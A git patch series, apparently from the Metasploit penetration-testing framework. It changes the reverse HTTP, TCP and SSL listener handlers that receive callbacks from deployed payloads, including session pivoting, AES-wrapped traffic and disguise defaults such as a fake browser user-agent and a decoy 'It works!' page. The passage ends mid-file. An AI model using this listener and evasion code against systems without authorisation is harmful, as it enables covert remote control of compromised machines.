From 1fb5185b622fc8d5698130bce2815d1584fc320f Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 11 Apr 2013 16:58:55 -0500 Subject: [PATCH 0001/2172] Add support for sessions as server Comm Simple change to allow users to set a Comm for new server sockets set up with a handler. I believe this was intended to be possible when the ReverseListenerComm option was created, but was left out due to an oversight. --- lib/msf/core/handler/reverse_http.rb | 10 ++++++---- lib/msf/core/handler/reverse_tcp.rb | 10 ++++++---- lib/msf/core/handler/reverse_tcp_ssl.rb | 10 ++++++---- 3 files changed, 18 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index c207834ea4..6e45081a1f 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -171,10 +171,12 @@ module ReverseHttp # def setup_handler - comm = datastore['ReverseListenerComm'] - if (comm.to_s == "local") - comm = ::Rex::Socket::Comm::Local - else + comm = case datastore['ReverseListenerComm'].to_s + when "local"; ::Rex::Socket::Comm::Local + when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] + else; nil + end + unless comm.is_a? ::Rex::Socket::Comm comm = nil end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 353d111af0..5573dfb6ff 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -80,10 +80,12 @@ module ReverseTcp addrs = [ Rex::Socket.addr_ntoa(addr), any ] - comm = datastore['ReverseListenerComm'] - if comm.to_s == "local" - comm = ::Rex::Socket::Comm::Local - else + comm = case datastore['ReverseListenerComm'].to_s + when "local"; ::Rex::Socket::Comm::Local + when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] + else; nil + end + unless comm.is_a? ::Rex::Socket::Comm comm = nil end diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 996b619b07..37a6b00e1a 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -67,10 +67,12 @@ module ReverseTcpSsl addrs = [ Rex::Socket.addr_ntoa(addr), any ] - comm = datastore['ReverseListenerComm'] - if comm.to_s == "local" - comm = ::Rex::Socket::Comm::Local - else + comm = case datastore['ReverseListenerComm'].to_s + when "local"; ::Rex::Socket::Comm::Local + when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] + else; nil + end + unless comm.is_a? ::Rex::Socket::Comm comm = nil end From b735689e5f148f9499f8e1db77a0844785c14b76 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 16:06:35 -0500 Subject: [PATCH 0002/2172] Retab changes for PR #1732 --- lib/msf/core/handler/reverse_http.rb | 392 ++++++++++++------------ lib/msf/core/handler/reverse_tcp.rb | 382 +++++++++++------------ lib/msf/core/handler/reverse_tcp_ssl.rb | 172 +++++------ 3 files changed, 473 insertions(+), 473 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 296e652142..77037209f9 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -12,232 +12,232 @@ module Handler ### module ReverseHttp - include Msf::Handler + include Msf::Handler - # - # Returns the string representation of the handler type - # - def self.handler_type - return "reverse_http" - end + # + # Returns the string representation of the handler type + # + def self.handler_type + return "reverse_http" + end - # - # Returns the connection-described general handler type, in this case - # 'tunnel'. - # - def self.general_handler_type - "tunnel" - end + # + # Returns the connection-described general handler type, in this case + # 'tunnel'. + # + def self.general_handler_type + "tunnel" + end - # - # Define 8-bit checksums for matching URLs - # These are based on charset frequency - # - URI_CHECKSUM_INITW = 92 - URI_CHECKSUM_INITJ = 88 - URI_CHECKSUM_CONN = 98 + # + # Define 8-bit checksums for matching URLs + # These are based on charset frequency + # + URI_CHECKSUM_INITW = 92 + URI_CHECKSUM_INITJ = 88 + URI_CHECKSUM_CONN = 98 - # - # Precalculated checkums as fallback - # - URI_CHECKSUM_PRECALC = [ - "Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp", - "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt", - "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby", - "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563", - "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg", - "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E", - "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2", - "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ", - "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg", - "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1", - "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5", - "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I", - "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ", - "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC", - "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ", - "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5", - "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi", - "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP", - "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA", - "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL", - "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS", - "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t", - "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG", - "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM", - "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg", - "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx" - ] + # + # Precalculated checkums as fallback + # + URI_CHECKSUM_PRECALC = [ + "Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", "yfHsn", "YLzzp", + "cEzvr", "abmri", "9tvwr", "vTarp", "ocrgc", "mZcyl", "xfcje", "nihqa", "40F17", "zzTWt", + "E3192", "wygVh", "pbqij", "rxdVs", "ajtsf", "wvuOh", "hwRwr", "pUots", "rvzoK", "vUwby", + "tLzyk", "zxbuV", "niaoy", "ukxtU", "vznoU", "zuxyC", "ymvag", "Jxtxw", "404KC", "DE563", + "0A7G9", "yorYv", "zzuqP", "czhwo", "949N8", "a1560", "5A2S3", "Q652A", "KR201", "uixtg", + "U0K02", "4EO56", "H88H4", "5M8E6", "zudkx", "ywlsh", "luqmy", "09S4I", "L0GG0", "V916E", + "KFI11", "A4BN8", "C3E2Q", "UN804", "E75HG", "622eB", "1OZ71", "kynyx", "0RE7F", "F8CR2", + "1Q2EM", "txzjw", "5KD1S", "GLR40", "11BbD", "MR8B2", "X4V55", "W994P", "13d2T", "6J4AZ", + "HD2EM", "766bL", "8S4MF", "MBX39", "UJI57", "eIA51", "9CZN2", "WH6AA", "a6BF9", "8B1Gg", + "J2N6Z", "144Kw", "7E37v", "9I7RR", "PE6MF", "K0c4M", "LR3IF", "38p3S", "39ab3", "O0dO1", + "k8H8A", "0Fz3B", "o1PE1", "h7OI0", "C1COb", "bMC6A", "8fU4C", "3IMSO", "8DbFH", "2YfG5", + "bEQ1E", "MU6NI", "UCENE", "WBc0E", "T1ATX", "tBL0A", "UGPV2", "j3CLI", "7FXp1", "yN07I", + "YE6k9", "KTMHE", "a7VBJ", "0Uq3R", "70Ebn", "H2PqB", "83edJ", "0w5q2", "72djI", "wA5CQ", + "KF0Ix", "i7AZH", "M9tU5", "Hs3RE", "F9m1i", "7ecBF", "zS31W", "lUe21", "IvCS5", "j97nC", + "CNtR5", "1g8gV", "7KwNG", "DB7hj", "ORFr7", "GCnUD", "K58jp", "5lKo8", "GPIdP", "oMIFJ", + "2xYb1", "LQQPY", "FGQlN", "l5COf", "dA3Tn", "v9RWC", "VuAGI", "3vIr9", "aO3zA", "CIfx5", + "Gk6Uc", "pxL94", "rKYJB", "TXAFp", "XEOGq", "aBOiJ", "qp6EJ", "YGbq4", "dR8Rh", "g0SVi", + "iMr6L", "HMaIl", "yOY1Z", "UXr5Y", "PJdz6", "OQdt7", "EmZ1s", "aLIVe", "cIeo2", "mTTNP", + "eVKy5", "hf5Co", "gFHzG", "VhTWN", "DvAWf", "RgFJp", "MoaXE", "Mrq4W", "hRQAp", "hAzYA", + "oOSWV", "UKMme", "oP0Zw", "Mxd6b", "RsRCh", "dlk7Q", "YU6zf", "VPDjq", "ygERO", "dZZcL", + "dq5qM", "LITku", "AZIxn", "bVwPL", "jGvZK", "XayKP", "rTYVY", "Vo2ph", "dwJYR", "rLTlS", + "BmsfJ", "Dyv1o", "j9Hvs", "w0wVa", "iDnBy", "uKEgk", "uosI8", "2yjuO", "HiOue", "qYi4t", + "7nalj", "ENekz", "rxca0", "rrePF", "cXmtD", "Xlr2y", "S7uxk", "wJqaP", "KmYyZ", "cPryG", + "kYcwH", "FtDut", "xm1em", "IaymY", "fr6ew", "ixDSs", "YigPs", "PqwBs", "y2rkf", "vwaTM", + "aq7wp", "fzc4z", "AyzmQ", "epJbr", "culLd", "CVtnz", "tPjPx", "nfry8", "Nkpif", "8kuzg", + "zXvz8", "oVQly", "1vpnw", "jqaYh", "2tztj", "4tslx" + ] - # - # Use the +refname+ to determine whether this handler uses SSL or not - # - def ssl? - !!(self.refname.index("https")) - end + # + # Use the +refname+ to determine whether this handler uses SSL or not + # + def ssl? + !!(self.refname.index("https")) + end - # - # Return a URI of the form scheme://host:port/ - # - # Scheme is one of http or https and host is properly wrapped in [] for ipv6 - # addresses. - # - def full_uri - lhost = datastore['LHOST'] - if lhost.empty? or lhost == "0.0.0.0" or lhost == "::" - lhost = Rex::Socket.source_address - end - lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) - scheme = (ssl?) ? "https" : "http" - uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/" + # + # Return a URI of the form scheme://host:port/ + # + # Scheme is one of http or https and host is properly wrapped in [] for ipv6 + # addresses. + # + def full_uri + lhost = datastore['LHOST'] + if lhost.empty? or lhost == "0.0.0.0" or lhost == "::" + lhost = Rex::Socket.source_address + end + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + scheme = (ssl?) ? "https" : "http" + uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/" - uri - end + uri + end - # - # Map "random" URIs to static strings, allowing us to randomize - # the URI sent in the first request. - # - def process_uri_resource(uri_match) + # + # Map "random" URIs to static strings, allowing us to randomize + # the URI sent in the first request. + # + def process_uri_resource(uri_match) - # This allows 'random' strings to be used as markers for - # the INIT and CONN request types, based on a checksum - uri_strip, uri_conn = uri_match.split('_', 2) - uri_strip.sub!(/^\//, '') - uri_check = Rex::Text.checksum8(uri_strip) + # This allows 'random' strings to be used as markers for + # the INIT and CONN request types, based on a checksum + uri_strip, uri_conn = uri_match.split('_', 2) + uri_strip.sub!(/^\//, '') + uri_check = Rex::Text.checksum8(uri_strip) - # Match specific checksums and map them to static URIs - case uri_check - when URI_CHECKSUM_INITW - uri_match = "/INITM" - when URI_CHECKSUM_INITJ - uri_match = "/INITJM" - when URI_CHECKSUM_CONN - uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) ) - end + # Match specific checksums and map them to static URIs + case uri_check + when URI_CHECKSUM_INITW + uri_match = "/INITM" + when URI_CHECKSUM_INITJ + uri_match = "/INITJM" + when URI_CHECKSUM_CONN + uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) ) + end - uri_match - end + uri_match + end - # - # Create a URI that matches a given checksum - # - def generate_uri_checksum(sum) - chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a - 32.times do - uri = Rex::Text.rand_text_alphanumeric(3) - chk.sort_by {rand}.each do |x| - return(uri + x) if Rex::Text.checksum8(uri + x) == sum - end - end + # + # Create a URI that matches a given checksum + # + def generate_uri_checksum(sum) + chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a + 32.times do + uri = Rex::Text.rand_text_alphanumeric(3) + chk.sort_by {rand}.each do |x| + return(uri + x) if Rex::Text.checksum8(uri + x) == sum + end + end - # Otherwise return one of the pre-calculated strings - return URI_CHECKSUM_PRECALC[sum] - end + # Otherwise return one of the pre-calculated strings + return URI_CHECKSUM_PRECALC[sum] + end - # - # Initializes the HTTP SSL tunneling handler. - # - def initialize(info = {}) - super + # + # Initializes the HTTP SSL tunneling handler. + # + def initialize(info = {}) + super - register_options( - [ - OptString.new('LHOST', [ true, "The local listener hostname" ]), - OptPort.new('LPORT', [ true, "The local listener port", 8080 ]) - ], Msf::Handler::ReverseHttp) + register_options( + [ + OptString.new('LHOST', [ true, "The local listener hostname" ]), + OptPort.new('LPORT', [ true, "The local listener port", 8080 ]) + ], Msf::Handler::ReverseHttp) - register_advanced_options( - [ - OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]), - OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]), - OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]), - OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]), - OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

' ]) - ], Msf::Handler::ReverseHttp) - end + register_advanced_options( + [ + OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), + OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]), + OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]), + OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]), + OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]), + OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), + OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

' ]) + ], Msf::Handler::ReverseHttp) + end - # - # Toggle for IPv4 vs IPv6 mode - # - def ipv6 - self.refname.index('ipv6') ? true : false - end + # + # Toggle for IPv4 vs IPv6 mode + # + def ipv6 + self.refname.index('ipv6') ? true : false + end - # - # Create an HTTP listener - # - def setup_handler + # + # Create an HTTP listener + # + def setup_handler - comm = case datastore['ReverseListenerComm'].to_s - when "local"; ::Rex::Socket::Comm::Local - when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] - else; nil - end - unless comm.is_a? ::Rex::Socket::Comm - comm = nil - end + comm = case datastore['ReverseListenerComm'].to_s + when "local"; ::Rex::Socket::Comm::Local + when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] + else; nil + end + unless comm.is_a? ::Rex::Socket::Comm + comm = nil + end - # Determine where to bind the HTTP(S) server to - bindaddrs = ipv6 ? '::' : '0.0.0.0' + # Determine where to bind the HTTP(S) server to + bindaddrs = ipv6 ? '::' : '0.0.0.0' - if not datastore['ReverseListenerBindAddress'].to_s.empty? - bindaddrs = datastore['ReverseListenerBindAddress'] - end + if not datastore['ReverseListenerBindAddress'].to_s.empty? + bindaddrs = datastore['ReverseListenerBindAddress'] + end - # Start the HTTPS server service on this host/port - self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, - datastore['LPORT'].to_i, - bindaddrs, - ssl?, - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - comm, - (ssl?) ? datastore["SSLCert"] : nil - ) + # Start the HTTPS server service on this host/port + self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, + datastore['LPORT'].to_i, + bindaddrs, + ssl?, + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + comm, + (ssl?) ? datastore["SSLCert"] : nil + ) - self.service.server_name = datastore['MeterpreterServerName'] + self.service.server_name = datastore['MeterpreterServerName'] - # Create a reference to ourselves - obj = self + # Create a reference to ourselves + obj = self - # Add the new resource - service.add_resource("/", - 'Proc' => Proc.new { |cli, req| - on_request(cli, req, obj) - }, - 'VirtualDirectory' => true) + # Add the new resource + service.add_resource("/", + 'Proc' => Proc.new { |cli, req| + on_request(cli, req, obj) + }, + 'VirtualDirectory' => true) - print_status("Started HTTP#{ssl? ? "S" : ""} reverse handler on #{full_uri}") - end + print_status("Started HTTP#{ssl? ? "S" : ""} reverse handler on #{full_uri}") + end - # - # Simply calls stop handler to ensure that things are cool. - # - def cleanup_handler - stop_handler - end + # + # Simply calls stop handler to ensure that things are cool. + # + def cleanup_handler + stop_handler + end - # - # Basically does nothing. The service is already started and listening - # during set up. - # - def start_handler - end + # + # Basically does nothing. The service is already started and listening + # during set up. + # + def start_handler + end - # - # Removes the / handler, possibly stopping the service if no sessions are - # active on sub-urls. - # - def stop_handler - self.service.remove_resource("/") if self.service - end + # + # Removes the / handler, possibly stopping the service if no sessions are + # active on sub-urls. + # + def stop_handler + self.service.remove_resource("/") if self.service + end - attr_accessor :service # :nodoc: + attr_accessor :service # :nodoc: protected diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index 4d639b64cc..145b9e2768 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -17,229 +17,229 @@ module Handler ### module ReverseTcp - include Msf::Handler + include Msf::Handler - # - # Returns the string representation of the handler type, in this case - # 'reverse_tcp'. - # - def self.handler_type - return "reverse_tcp" - end + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp'. + # + def self.handler_type + return "reverse_tcp" + end - # - # Returns the connection-described general handler type, in this case - # 'reverse'. - # - def self.general_handler_type - "reverse" - end + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end - # - # Initializes the reverse TCP handler and ads the options that are required - # for all reverse TCP payloads, like local host and local port. - # - def initialize(info = {}) - super + # + # Initializes the reverse TCP handler and ads the options that are required + # for all reverse TCP payloads, like local host and local port. + # + def initialize(info = {}) + super - register_options( - [ - Opt::LHOST, - Opt::LPORT(4444) - ], Msf::Handler::ReverseTcp) + register_options( + [ + Opt::LHOST, + Opt::LPORT(4444) + ], Msf::Handler::ReverseTcp) - # XXX: Not supported by all modules - register_advanced_options( - [ - OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]), - OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), - ], Msf::Handler::ReverseTcp) + # XXX: Not supported by all modules + register_advanced_options( + [ + OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]), + OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), + OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + ], Msf::Handler::ReverseTcp) - self.handler_queue = ::Queue.new - end + self.handler_queue = ::Queue.new + end - # - # Starts the listener but does not actually attempt - # to accept a connection. Throws socket exceptions - # if it fails to start the listener. - # - def setup_handler - if datastore['Proxies'] and not datastore['ReverseAllowProxy'] - raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' - end + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] and not datastore['ReverseAllowProxy'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' + end - ex = false - # Switch to IPv6 ANY address if the LHOST is also IPv6 - addr = Rex::Socket.resolv_nbo(datastore['LHOST']) - # First attempt to bind LHOST. If that fails, the user probably has - # something else listening on that interface. Try again with ANY_ADDR. - any = (addr.length == 4) ? "0.0.0.0" : "::0" + ex = false + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" - addrs = [ Rex::Socket.addr_ntoa(addr), any ] + addrs = [ Rex::Socket.addr_ntoa(addr), any ] - comm = case datastore['ReverseListenerComm'].to_s - when "local"; ::Rex::Socket::Comm::Local - when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] - else; nil - end - unless comm.is_a? ::Rex::Socket::Comm - comm = nil - end + comm = case datastore['ReverseListenerComm'].to_s + when "local"; ::Rex::Socket::Comm::Local + when /\A[0-9]+\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i] + else; nil + end + unless comm.is_a? ::Rex::Socket::Comm + comm = nil + end - if not datastore['ReverseListenerBindAddress'].to_s.empty? - # Only try to bind to this specific interface - addrs = [ datastore['ReverseListenerBindAddress'] ] + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] - # Pick the right "any" address if either wildcard is used - addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") - end - addrs.each { |ip| - begin + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + addrs.each { |ip| + begin - self.listener_sock = Rex::Socket::TcpServer.create( - 'LocalHost' => ip, - 'LocalPort' => datastore['LPORT'].to_i, - 'Comm' => comm, - 'Context' => - { - 'Msf' => framework, - 'MsfPayload' => self, - 'MsfExploit' => assoc_exploit - }) + self.listener_sock = Rex::Socket::TcpServer.create( + 'LocalHost' => ip, + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) - ex = false + ex = false - comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) - comm_used = Rex::Socket::Comm::Local if comm_used == nil + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil - if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) - via = "via the #{comm_used.type} on session #{comm_used.sid}" - else - via = "" - end + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end - print_status("Started reverse handler on #{ip}:#{datastore['LPORT']} #{via}") - break - rescue - ex = $! - print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") - end - } - raise ex if (ex) - end + print_status("Started reverse handler on #{ip}:#{datastore['LPORT']} #{via}") + break + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") + end + } + raise ex if (ex) + end - # - # Closes the listener socket if one was created. - # - def cleanup_handler - stop_handler - end + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + end - # - # Starts monitoring for an inbound connection. - # - def start_handler - self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{datastore['LPORT']}", false) { - client = nil + # + # Starts monitoring for an inbound connection. + # + def start_handler + self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{datastore['LPORT']}", false) { + client = nil - begin - # Accept a client connection - begin - client = self.listener_sock.accept - rescue - wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") - break - end + begin + # Accept a client connection + begin + client = self.listener_sock.accept + rescue + wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") + break + end - # Increment the has connection counter - self.pending_connections += 1 + # Increment the has connection counter + self.pending_connections += 1 - self.handler_queue.push( client ) - end while true - } + self.handler_queue.push( client ) + end while true + } - self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{datastore['LPORT']}", false) { - while true - client = self.handler_queue.pop - begin - handle_connection(wrap_aes_socket(client)) - rescue ::Exception - elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}") - end - end - } + self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{datastore['LPORT']}", false) { + while true + client = self.handler_queue.pop + begin + handle_connection(wrap_aes_socket(client)) + rescue ::Exception + elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}") + end + end + } - end + end - def wrap_aes_socket(sock) - if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == "" - return sock - end + def wrap_aes_socket(sock) + if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == "" + return sock + end - socks = Rex::Socket::tcp_socket_pair() - socks[0].extend(Rex::Socket::Tcp) - socks[1].extend(Rex::Socket::Tcp) + socks = Rex::Socket::tcp_socket_pair() + socks[0].extend(Rex::Socket::Tcp) + socks[1].extend(Rex::Socket::Tcp) - m = OpenSSL::Digest::Digest.new('md5') - m.reset - key = m.digest(datastore["AESPassword"] || "") + m = OpenSSL::Digest::Digest.new('md5') + m.reset + key = m.digest(datastore["AESPassword"] || "") - Rex::ThreadFactory.spawn('AESEncryption', false) { - c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') - c1.encrypt - c1.key=key - sock.put([0].pack('N')) - sock.put(c1.iv=c1.random_iv) - buf1 = socks[0].read(4096) - while buf1 and buf1 != "" - sock.put(c1.update(buf1)) - buf1 = socks[0].read(4096) - end - sock.close() - } - Rex::ThreadFactory.spawn('AESEncryption', false) { - c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') - c2.decrypt - c2.key=key - iv="" - while iv.length < 16 - iv << sock.read(16-iv.length) - end - c2.iv = iv - buf2 = sock.read(4096) - while buf2 and buf2 != "" - socks[0].put(c2.update(buf2)) - buf2 = sock.read(4096) - end - socks[0].close() - } - return socks[1] - end + Rex::ThreadFactory.spawn('AESEncryption', false) { + c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') + c1.encrypt + c1.key=key + sock.put([0].pack('N')) + sock.put(c1.iv=c1.random_iv) + buf1 = socks[0].read(4096) + while buf1 and buf1 != "" + sock.put(c1.update(buf1)) + buf1 = socks[0].read(4096) + end + sock.close() + } + Rex::ThreadFactory.spawn('AESEncryption', false) { + c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8') + c2.decrypt + c2.key=key + iv="" + while iv.length < 16 + iv << sock.read(16-iv.length) + end + c2.iv = iv + buf2 = sock.read(4096) + while buf2 and buf2 != "" + socks[0].put(c2.update(buf2)) + buf2 = sock.read(4096) + end + socks[0].close() + } + return socks[1] + end - # - # Stops monitoring for an inbound connection. - # - def stop_handler - # Terminate the listener thread - if (self.listener_thread and self.listener_thread.alive? == true) - self.listener_thread.kill - self.listener_thread = nil - end + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + if (self.listener_thread and self.listener_thread.alive? == true) + self.listener_thread.kill + self.listener_thread = nil + end - # Terminate the handler thread - if (self.handler_thread and self.handler_thread.alive? == true) - self.handler_thread.kill - self.handler_thread = nil - end + # Terminate the handler thread + if (self.handler_thread and self.handler_thread.alive? == true) + self.handler_thread.kill + self.handler_thread = nil + end - if (self.listener_sock) - 